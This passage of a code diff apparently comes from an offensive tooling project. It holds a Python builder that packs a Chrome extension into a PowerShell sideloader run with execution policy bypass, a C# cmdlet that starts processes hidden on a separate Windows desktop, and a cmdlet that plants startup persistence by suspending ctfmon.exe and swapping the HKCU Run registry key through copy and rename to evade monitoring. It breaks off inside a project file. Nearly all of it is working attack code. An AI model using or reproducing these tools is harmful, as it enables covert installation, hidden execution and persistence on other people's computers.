[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
|
||||
Write-Host "Extension extracted successfully" -ForegroundColor Green
|
||||
}}
|
||||
finally {{
|
||||
# Clean up temp file
|
||||
if (Test-Path $tempZipPath) {{
|
||||
Remove-Item $tempZipPath -Force
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
|
||||
return extract_extension_func
|
||||
|
||||
|
||||
def read_template_script():
|
||||
"""Read the template PowerShell script."""
|
||||
script_path = Path(__file__).parent / "ChromeExtensionSideloader.ps1"
|
||||
with open(script_path, 'r', encoding='utf-8') as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
def build_sideloader_script(extension_folder, install_path, output_path=None):
|
||||
"""Build the complete sideloader script."""
|
||||
|
||||
print(f"Building sideloader script...")
|
||||
print(f" Extension folder: {extension_folder}")
|
||||
print(f" Install path: {install_path}")
|
||||
|
||||
# Create ZIP of extension folder
|
||||
print("Creating extension ZIP...")
|
||||
extension_zip_bytes = zip_folder(extension_folder)
|
||||
extension_base64 = base64.b64encode(extension_zip_bytes).decode('utf-8')
|
||||
|
||||
# Read template script
|
||||
print("Reading template script...")
|
||||
template_script = read_template_script()
|
||||
|
||||
# Create extraction functions
|
||||
print("Creating extraction functions...")
|
||||
extraction_functions = create_extraction_functions(extension_base64)
|
||||
|
||||
# Replace placeholder functions in template
|
||||
script_content = template_script.replace(
|
||||
'# These functions will be replaced by the Python builder with actual extraction logic\n'
|
||||
'function Extract-EmbeddedExtension {\n'
|
||||
' param([string]$ExtensionPath)\n'
|
||||
' # This will be replaced by the Python builder\n'
|
||||
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
|
||||
'}\n\n',
|
||||
extraction_functions
|
||||
)
|
||||
|
||||
# Set default parameters
|
||||
script_content = script_content.replace(
|
||||
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
|
||||
f'[string]$ExtensionInstallDir = "{install_path}"'
|
||||
)
|
||||
|
||||
# Write output
|
||||
if output_path:
|
||||
output_file = Path(output_path)
|
||||
else:
|
||||
extension_name = Path(extension_folder).name
|
||||
output_file = Path(f"{extension_name}_sideloader.ps1")
|
||||
|
||||
print(f"Writing output to: {output_file}")
|
||||
with open(output_file, 'w', encoding='utf-8') as f:
|
||||
f.write(script_content)
|
||||
|
||||
print(f"✅ Sideloader script created successfully: {output_file}")
|
||||
print(f"📦 Extension size: {len(extension_zip_bytes):,} bytes")
|
||||
|
||||
return output_file
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Build a Chrome Extension Sideloader PowerShell script",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog=__doc__
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"extension_folder",
|
||||
help="Path to the extension folder to deploy"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"install_path",
|
||||
help="Installation path for the extension (can include environment variables like %%LOCALAPPDATA%%)"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-o", "--output",
|
||||
help="Output file path (default: <extension_name>_sideloader.ps1)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
output_file = build_sideloader_script(
|
||||
args.extension_folder,
|
||||
args.install_path,
|
||||
args.output
|
||||
)
|
||||
|
||||
print(f"\n🎉 Build completed successfully!")
|
||||
print(f"📄 Generated: {output_file}")
|
||||
print(f"\nTo deploy the extension, run:")
|
||||
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,232 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Management.Automation;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace ProcessHelper
|
||||
{
|
||||
[Cmdlet(VerbsLifecycle.Start, "ProcessOnDesktop")]
|
||||
public class StartProcessOnDesktopCommand : PSCmdlet
|
||||
{
|
||||
[Parameter(Mandatory = true, Position = 0)]
|
||||
public string ProcessPath { get; set; }
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
public string ProcessArgs { get; set; } = "";
|
||||
|
||||
[Parameter(Position = 2)]
|
||||
public string DesktopName { get; set; } = "Desktop_" + Guid.NewGuid().ToString("N");
|
||||
|
||||
protected override void ProcessRecord()
|
||||
{
|
||||
try
|
||||
{
|
||||
WriteVerbose($"Attempting to create process '{ProcessPath}' on desktop '{DesktopName}'");
|
||||
|
||||
Process process = ProcessHelper.CreateProcessOnDesktop(ProcessPath, ProcessArgs, DesktopName);
|
||||
|
||||
if (process != null)
|
||||
{
|
||||
WriteObject(process);
|
||||
}
|
||||
else
|
||||
{
|
||||
int errorCode = Marshal.GetLastWin32Error();
|
||||
string errorMessage = new Win32Exception(errorCode).Message;
|
||||
|
||||
WriteError(new ErrorRecord(
|
||||
new Exception($"Failed to create process on desktop. Error: {errorMessage} (Code: {errorCode})"),
|
||||
"ProcessCreationFailed",
|
||||
ErrorCategory.OperationStopped,
|
||||
null));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
WriteError(new ErrorRecord(
|
||||
ex,
|
||||
"UnexpectedError",
|
||||
ErrorCategory.NotSpecified,
|
||||
null));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class ProcessHelper
|
||||
{
|
||||
// Windows API imports
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr CreateDesktopEx(
|
||||
string lpszDesktop,
|
||||
IntPtr lpszDevice,
|
||||
IntPtr pDevmode,
|
||||
int dwFlags,
|
||||
uint dwDesiredAccess,
|
||||
IntPtr lpsa,
|
||||
ulong heapSize,
|
||||
IntPtr pvoid);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenDesktopA(
|
||||
string lpszDesktop,
|
||||
uint dwFlags,
|
||||
bool fInherit,
|
||||
uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint GetCurrentThreadId();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetThreadDesktop(uint dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
private static extern bool CreateProcess(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
IntPtr lpProcessAttributes,
|
||||
IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
ref PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint GetLastError();
|
||||
|
||||
// Structures for CreateProcess
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public ushort wShowWindow;
|
||||
public ushort cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
// Constants
|
||||
private const uint DESKTOP_CREATEWINDOW = 0x0002;
|
||||
private const uint DESKTOP_ENUMERATE = 0x0040;
|
||||
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
|
||||
private const uint DESKTOP_SWITCHDESKTOP = 0x0100;
|
||||
private const uint DESKTOP_CREATEMENU = 0x0004;
|
||||
private const uint DESKTOP_HOOKCONTROL = 0x0008;
|
||||
private const uint DESKTOP_READOBJECTS = 0x0001;
|
||||
private const uint DESKTOP_JOURNALRECORD = 0x0010;
|
||||
private const uint DESKTOP_JOURNALPLAYBACK = 0x0020;
|
||||
private const uint GENERIC_ALL = 0x10000000;
|
||||
private const uint CREATE_NEW_CONSOLE = 0x00000010;
|
||||
private const uint NORMAL_PRIORITY_CLASS = 0x00000020;
|
||||
private const uint STARTF_USESHOWWINDOW = 0x00000001;
|
||||
private const ushort SW_HIDE = 0;
|
||||
|
||||
public static Process CreateProcessOnDesktop(string processPath, string processArgs, string desktopName)
|
||||
{
|
||||
// Define desktop access rights
|
||||
uint ACCESS = DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_READOBJECTS | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
|
||||
GENERIC_ALL;
|
||||
|
||||
// Create or open the desktop
|
||||
IntPtr desktopHandle = CreateDesktopEx(
|
||||
desktopName,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
ACCESS,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
IntPtr.Zero
|
||||
);
|
||||
|
||||
if (desktopHandle == IntPtr.Zero)
|
||||
{
|
||||
// Try to open existing desktop
|
||||
desktopHandle = OpenDesktopA(desktopName, 0, true, ACCESS);
|
||||
if (desktopHandle == IntPtr.Zero)
|
||||
{
|
||||
// Failed to create or open desktop
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Prepare to create process
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(typeof(STARTUPINFO));
|
||||
si.lpDesktop = desktopName;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
|
||||
// Create the process - use the command line parameter correctly
|
||||
string commandLine = string.IsNullOrEmpty(processArgs) ? processPath : $"\"{processPath}\" {processArgs}";
|
||||
|
||||
bool success = CreateProcess(
|
||||
null, // Use command line instead of application name
|
||||
commandLine,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
CREATE_NEW_CONSOLE | NORMAL_PRIORITY_CLASS,
|
||||
IntPtr.Zero,
|
||||
null,
|
||||
ref si,
|
||||
ref pi
|
||||
);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
// Failed to create process
|
||||
CloseDesktop(desktopHandle);
|
||||
return null;
|
||||
}
|
||||
|
||||
// Create a Process object from the process ID
|
||||
Process process = null;
|
||||
try
|
||||
{
|
||||
process = Process.GetProcessById((int)pi.dwProcessId);
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Failed to get process
|
||||
CloseDesktop(desktopHandle);
|
||||
return null;
|
||||
}
|
||||
return process;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>netstandard2.0</TargetFramework>
|
||||
<EnableDefaultCompileItems>false</EnableDefaultCompileItems>
|
||||
|
||||
<!-- Explicitly set the assembly name -->
|
||||
<AssemblyName>ProcessHelper</AssemblyName>
|
||||
|
||||
<!-- Disable PDB generation -->
|
||||
<DebugType>none</DebugType>
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
|
||||
<!-- Intermediate output path (will still have netstandard2.0 folder) -->
|
||||
<OutputPath>obj</OutputPath>
|
||||
|
||||
<!-- Clean output directory on build -->
|
||||
<CleanOutputPath>true</CleanOutputPath>
|
||||
|
||||
<!-- Don't generate deps.json and other files -->
|
||||
<GenerateDependencyFile>false</GenerateDependencyFile>
|
||||
<CopyLocalLockFileAssemblies>false</CopyLocalLockFileAssemblies>
|
||||
<GenerateRuntimeConfigurationFiles>false</GenerateRuntimeConfigurationFiles>
|
||||
|
||||
<!-- Suppress warnings about missing XML documentation -->
|
||||
<NoWarn>1591</NoWarn>
|
||||
|
||||
<!-- Define the final output directory -->
|
||||
<FinalOutputPath>dist</FinalOutputPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Compile Include="ProcessHelper.cs" />
|
||||
<PackageReference Include="PowerShellStandard.Library" Version="5.1.0" />
|
||||
</ItemGroup>
|
||||
|
||||
<!-- Custom target to copy the DLL to the final location without netstandard2.0 folder -->
|
||||
<Target Name="CopyToFinalOutput" AfterTargets="Build">
|
||||
<!-- Create the final output directory if it doesn't exist -->
|
||||
<MakeDir Directories="$(FinalOutputPath)" />
|
||||
|
||||
<!-- Copy the DLL to the final output directory -->
|
||||
<Copy SourceFiles="$(OutputPath)\$(AssemblyName).dll"
|
||||
DestinationFolder="$(FinalOutputPath)" />
|
||||
|
||||
<!-- Optional: Display a message -->
|
||||
<Message Text="DLL copied to $(FinalOutputPath)\$(AssemblyName).dll" Importance="high" />
|
||||
</Target>
|
||||
|
||||
<!-- Custom target to clean up the obj folder after successful build and copy -->
|
||||
<Target Name="CleanupObjFolder" AfterTargets="CopyToFinalOutput">
|
||||
<!-- Delete the obj folder -->
|
||||
<RemoveDir Directories="obj" />
|
||||
<Message Text="Cleaned up obj folder" Importance="high" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -0,0 +1,431 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Management.Automation;
|
||||
using System.ComponentModel;
|
||||
using System.Text;
|
||||
|
||||
namespace RegHelper
|
||||
{
|
||||
[Cmdlet(VerbsLifecycle.Invoke, "RegistryPersistence")]
|
||||
public class InvokeRegistryPersistenceCommand : PSCmdlet
|
||||
{
|
||||
[Parameter(Mandatory = true, Position = 0)]
|
||||
public string PersistenceValueName { get; set; }
|
||||
|
||||
[Parameter(Mandatory = true, Position = 1)]
|
||||
public string PersistenceValueData { get; set; }
|
||||
|
||||
protected override void ProcessRecord()
|
||||
{
|
||||
try
|
||||
{
|
||||
WriteHost("Copy-and-Replace Registry Strategy Script", ConsoleColor.Cyan);
|
||||
WriteHost(new string('=', 45), ConsoleColor.Cyan);
|
||||
|
||||
// Define paths and values
|
||||
string parentKeyPath = @"Software\Microsoft\Windows\CurrentVersion";
|
||||
string originalKeyName = "Run";
|
||||
string newKeyName = "Compatibility Mode Startup";
|
||||
string backupKeyName = "Compatibility Mode Backup";
|
||||
|
||||
// Step 0: Suspend ctfmon.exe processes
|
||||
WriteHost("\nStep 0: Suspending ctfmon.exe process...", ConsoleColor.Green);
|
||||
var suspendedProcesses = ProcessSuspender.SuspendCtfmonProcesses(WriteHost, WriteWarning);
|
||||
|
||||
try
|
||||
{
|
||||
// Step 1: Open the parent registry key
|
||||
WriteHost("\nStep 1: Opening parent registry key...", ConsoleColor.Green);
|
||||
UIntPtr parentKeyHandle = UIntPtr.Zero;
|
||||
int result = RegistryAPI.RegOpenKeyEx(
|
||||
RegistryAPI.HKEY_CURRENT_USER,
|
||||
parentKeyPath,
|
||||
0,
|
||||
RegistryAPI.KEY_ALL_ACCESS,
|
||||
out parentKeyHandle
|
||||
);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to open parent registry key. Error code: {result}");
|
||||
}
|
||||
WriteHost("Parent key opened successfully.", ConsoleColor.Green);
|
||||
|
||||
try
|
||||
{
|
||||
// Step 2: Create the new RunNew key
|
||||
WriteHost($"\nStep 2: Creating '{newKeyName}' key...", ConsoleColor.Green);
|
||||
UIntPtr newKeyHandle = UIntPtr.Zero;
|
||||
uint disposition = 0;
|
||||
result = RegistryAPI.RegCreateKeyEx(
|
||||
parentKeyHandle,
|
||||
newKeyName,
|
||||
0,
|
||||
null,
|
||||
RegistryAPI.REG_OPTION_NON_VOLATILE,
|
||||
RegistryAPI.KEY_ALL_ACCESS,
|
||||
IntPtr.Zero,
|
||||
out newKeyHandle,
|
||||
out disposition
|
||||
);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to create '{newKeyName}' key. Error code: {result}");
|
||||
}
|
||||
WriteHost($"'{newKeyName}' key created successfully.", ConsoleColor.Green);
|
||||
|
||||
// Step 3: Open the original Run key for reading
|
||||
WriteHost($"\nStep 3: Opening original '{originalKeyName}' key for copying...", ConsoleColor.Green);
|
||||
UIntPtr originalKeyHandle = UIntPtr.Zero;
|
||||
result = RegistryAPI.RegOpenKeyEx(
|
||||
parentKeyHandle,
|
||||
originalKeyName,
|
||||
0,
|
||||
RegistryAPI.KEY_ALL_ACCESS,
|
||||
out originalKeyHandle
|
||||
);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to open original '{originalKeyName}' key. Error code: {result}");
|
||||
}
|
||||
WriteHost($"'{originalKeyName}' key opened for copying.", ConsoleColor.Green);
|
||||
|
||||
try
|
||||
{
|
||||
// Step 4: Copy all values from Run to RunNew
|
||||
WriteHost($"\nStep 4: Copying values from '{originalKeyName}' to '{newKeyName}' using native APIs...", ConsoleColor.Green);
|
||||
int valueCount = CopyRegistryValues(originalKeyHandle, newKeyHandle);
|
||||
WriteHost($"Copied {valueCount} values using native APIs.", ConsoleColor.Green);
|
||||
|
||||
// Step 5: Add our new persistence value to RunNew
|
||||
WriteHost($"\nStep 5: Adding new value to '{newKeyName}'...", ConsoleColor.Green);
|
||||
WriteHost($"Name: {PersistenceValueName}", ConsoleColor.Cyan);
|
||||
WriteHost($"Value: {PersistenceValueData}", ConsoleColor.Cyan);
|
||||
|
||||
byte[] valueDataBytes = Encoding.Unicode.GetBytes(PersistenceValueData + "\0");
|
||||
result = RegistryAPI.RegSetValueEx(
|
||||
newKeyHandle,
|
||||
PersistenceValueName,
|
||||
0,
|
||||
RegistryAPI.REG_SZ,
|
||||
valueDataBytes,
|
||||
valueDataBytes.Length
|
||||
);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to set new registry value '{PersistenceValueName}'. Error code: {result}");
|
||||
}
|
||||
WriteHost($"New value added successfully to '{newKeyName}'.", ConsoleColor.Green);
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Close the original Run key handle
|
||||
RegistryAPI.RegCloseKey(originalKeyHandle);
|
||||
}
|
||||
|
||||
// Close the RunNew key handle before renaming operations
|
||||
RegistryAPI.RegCloseKey(newKeyHandle);
|
||||
|
||||
// Step 6: Rename Run to RunBackup
|
||||
WriteHost($"\nStep 6: Renaming '{originalKeyName}' to '{backupKeyName}'...", ConsoleColor.Green);
|
||||
result = RegistryAPI.RegRenameKey(parentKeyHandle, originalKeyName, backupKeyName);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to rename '{originalKeyName}' to '{backupKeyName}'. Error code: {result}");
|
||||
}
|
||||
WriteHost($"'{originalKeyName}' renamed to '{backupKeyName}' successfully.", ConsoleColor.Green);
|
||||
|
||||
// Step 7: Rename RunNew to Run
|
||||
WriteHost($"\nStep 7: Renaming '{newKeyName}' to '{originalKeyName}'...", ConsoleColor.Green);
|
||||
result = RegistryAPI.RegRenameKey(parentKeyHandle, newKeyName, originalKeyName);
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
throw new Exception($"Failed to rename '{newKeyName}' to '{originalKeyName}'. Error code: {result}");
|
||||
}
|
||||
WriteHost($"'{newKeyName}' renamed to '{originalKeyName}' successfully.", ConsoleColor.Green);
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Close the parent key handle
|
||||
RegistryAPI.RegCloseKey(parentKeyHandle);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Resume ctfmon.exe processes
|
||||
ProcessSuspender.ResumeCtfmonProcesses(suspendedProcesses, WriteHost, WriteWarning);
|
||||
}
|
||||
|
||||
WriteHost("\n" + new string('=', 45), ConsoleColor.Cyan);
|
||||
WriteHost("Script completed successfully!", ConsoleColor.Green);
|
||||
WriteHost("The persistence entry has been added using copy-replace strategy.", ConsoleColor.Yellow);
|
||||
WriteHost("The application will now start automatically when Windows starts.", ConsoleColor.Yellow);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
WriteError(new ErrorRecord(
|
||||
ex,
|
||||
"RegistryPersistenceError",
|
||||
ErrorCategory.OperationStopped,
|
||||
null));
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
private int CopyRegistryValues(UIntPtr originalKeyHandle, UIntPtr newKeyHandle)
|
||||
{
|
||||
int index = 0;
|
||||
int valueCount = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
StringBuilder valueName = new StringBuilder(256);
|
||||
int valueNameSize = 256;
|
||||
int valueType = 0;
|
||||
int dataSize = 0;
|
||||
|
||||
// Get value name and size
|
||||
int result = RegistryAPI.RegEnumValue(
|
||||
originalKeyHandle,
|
||||
index,
|
||||
valueName,
|
||||
ref valueNameSize,
|
||||
IntPtr.Zero,
|
||||
out valueType,
|
||||
IntPtr.Zero,
|
||||
ref dataSize
|
||||
);
|
||||
|
||||
if (result == RegistryAPI.ERROR_NO_MORE_ITEMS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (result != RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
WriteWarning($"Failed to enumerate value at index {index}. Error: {result}");
|
||||
index++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Allocate buffer for value data
|
||||
IntPtr dataBuffer = Marshal.AllocHGlobal(dataSize);
|
||||
|
||||
try
|
||||
{
|
||||
// Get the actual value data
|
||||
result = RegistryAPI.RegQueryValueEx(
|
||||
originalKeyHandle,
|
||||
valueName.ToString(),
|
||||
IntPtr.Zero,
|
||||
out valueType,
|
||||
dataBuffer,
|
||||
ref dataSize
|
||||
);
|
||||
|
||||
if (result == RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
// Set the value in the new key
|
||||
int setResult = RegistryAPI.RegSetValueEx(
|
||||
newKeyHandle,
|
||||
valueName.ToString(),
|
||||
0,
|
||||
valueType,
|
||||
dataBuffer,
|
||||
dataSize
|
||||
);
|
||||
|
||||
if (setResult == RegistryAPI.ERROR_SUCCESS)
|
||||
{
|
||||
WriteHost($" Copied: {valueName.ToString()}", ConsoleColor.Gray);
|
||||
valueCount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteWarning($"Failed to set value '{valueName.ToString()}'. Error: {setResult}");
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(dataBuffer);
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
return valueCount;
|
||||
}
|
||||
|
||||
private void WriteHost(string message, ConsoleColor color)
|
||||
{
|
||||
Host.UI.WriteLine(color, Host.UI.RawUI.BackgroundColor, message);
|
||||
}
|
||||
|
||||
private void WriteHost(string message)
|
||||
{
|
||||
Host.UI.WriteLine(message);
|
||||
}
|
||||
}
|
||||
|
||||
public static class RegistryAPI
|
||||
{
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegOpenKeyEx(
|
||||
UIntPtr hKey,
|
||||
string subKey,
|
||||
uint options,
|
||||
uint samDesired,
|
||||
out UIntPtr phkResult);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegCreateKeyEx(
|
||||
UIntPtr hKey,
|
||||
string lpSubKey,
|
||||
uint Reserved,
|
||||
string lpClass,
|
||||
uint dwOptions,
|
||||
uint samDesired,
|
||||
IntPtr lpSecurityAttributes,
|
||||
out UIntPtr phkResult,
|
||||
out uint lpdwDisposition);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegRenameKey(
|
||||
UIntPtr hKey,
|
||||
string lpSubKeyName,
|
||||
string lpNewKeyName);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegSetValueEx(
|
||||
UIntPtr hKey,
|
||||
string lpValueName,
|
||||
int Reserved,
|
||||
int dwType,
|
||||
byte[] lpData,
|
||||
int cbData);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegSetValueEx(
|
||||
UIntPtr hKey,
|
||||
string lpValueName,
|
||||
int Reserved,
|
||||
int dwType,
|
||||
IntPtr lpData,
|
||||
int cbData);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegEnumValue(
|
||||
UIntPtr hKey,
|
||||
int dwIndex,
|
||||
StringBuilder lpValueName,
|
||||
ref int lpcchValueName,
|
||||
IntPtr lpReserved,
|
||||
out int lpType,
|
||||
IntPtr lpData,
|
||||
ref int lpcbData);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegQueryValueEx(
|
||||
UIntPtr hKey,
|
||||
string lpValueName,
|
||||
IntPtr lpReserved,
|
||||
out int lpType,
|
||||
IntPtr lpData,
|
||||
ref int lpcbData);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
public static extern int RegCloseKey(UIntPtr hKey);
|
||||
|
||||
public static readonly UIntPtr HKEY_CURRENT_USER = (UIntPtr)0x80000001;
|
||||
public const int KEY_ALL_ACCESS = 0xF003F;
|
||||
public const int REG_SZ = 1;
|
||||
public const int ERROR_SUCCESS = 0;
|
||||
public const int ERROR_NO_MORE_ITEMS = 259;
|
||||
public const int REG_OPTION_NON_VOLATILE = 0;
|
||||
}
|
||||
|
||||
public static class ProcessSuspender
|
||||
{
|
||||
[DllImport("ntdll.dll", PreserveSig = false)]
|
||||
public static extern void NtSuspendProcess(IntPtr processHandle);
|
||||
|
||||
[DllImport("ntdll.dll", PreserveSig = false)]
|
||||
public static extern void NtResumeProcess(IntPtr processHandle);
|
||||
|
||||
public static Process[] SuspendCtfmonProcesses(
|
||||
Action<string, ConsoleColor> writeHost,
|
||||
Action<string> writeWarning)
|
||||
{
|
||||
var ctfmonProcesses = Process.GetProcessesByName("ctfmon");
|
||||
var suspendedProcesses = new Process[ctfmonProcesses.Length];
|
||||
|
||||
if (ctfmonProcesses.Length > 0)
|
||||
{
|
||||
for (int i = 0; i < ctfmonProcesses.Length; i++)
|
||||
{
|
||||
var process = ctfmonProcesses[i];
|
||||
try
|
||||
{
|
||||
writeHost($"Suspending ctfmon.exe (PID: {process.Id})", ConsoleColor.Gray);
|
||||
NtSuspendProcess(process.Handle);
|
||||
suspendedProcesses[i] = process;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
writeWarning($"Failed to suspend ctfmon.exe process (PID: {process.Id}): {ex.Message}");
|
||||
}
|
||||
}
|
||||
writeHost("ctfmon.exe processes suspended.", ConsoleColor.Green);
|
||||
}
|
||||
else
|
||||
{
|
||||
writeHost("No ctfmon.exe processes found running.", ConsoleColor.Gray);
|
||||
}
|
||||
|
||||
return suspendedProcesses;
|
||||
}
|
||||
|
||||
public static void ResumeCtfmonProcesses(
|
||||
Process[] suspendedProcesses,
|
||||
Action<string, ConsoleColor> writeHost,
|
||||
Action<string> writeWarning)
|
||||
{
|
||||
writeHost("\nResuming ctfmon.exe processes...", ConsoleColor.Green);
|
||||
int resumedCount = 0;
|
||||
|
||||
foreach (var process in suspendedProcesses)
|
||||
{
|
||||
if (process != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!process.HasExited)
|
||||
{
|
||||
NtResumeProcess(process.Handle);
|
||||
writeHost($"Resumed ctfmon.exe (PID: {process.Id})", ConsoleColor.Gray);
|
||||
resumedCount++;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
writeWarning($"Failed to resume ctfmon.exe process (PID: {process.Id}): {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (resumedCount > 0)
|
||||
{
|
||||
writeHost("ctfmon.exe processes resumed.", ConsoleColor.Green);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>netstandard2.0</TargetFramework>
|
||||
<EnableDefaultCompileItems>false</EnableDefaultCompileItems>
|
||||
|
||||
<!-- Explicitly set the assembly name -->
|
||||
<AssemblyName>RegHelper</AssemblyName>
|
||||
|
||||
<!-- Disable PDB generation -->
|
||||
<DebugType>none</DebugType>
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
|
||||
<!-- Intermediate output path (will still have netstandard2.0 folder) -->
|
||||
<OutputPath>obj</OutputPath>
|
||||
|
||||
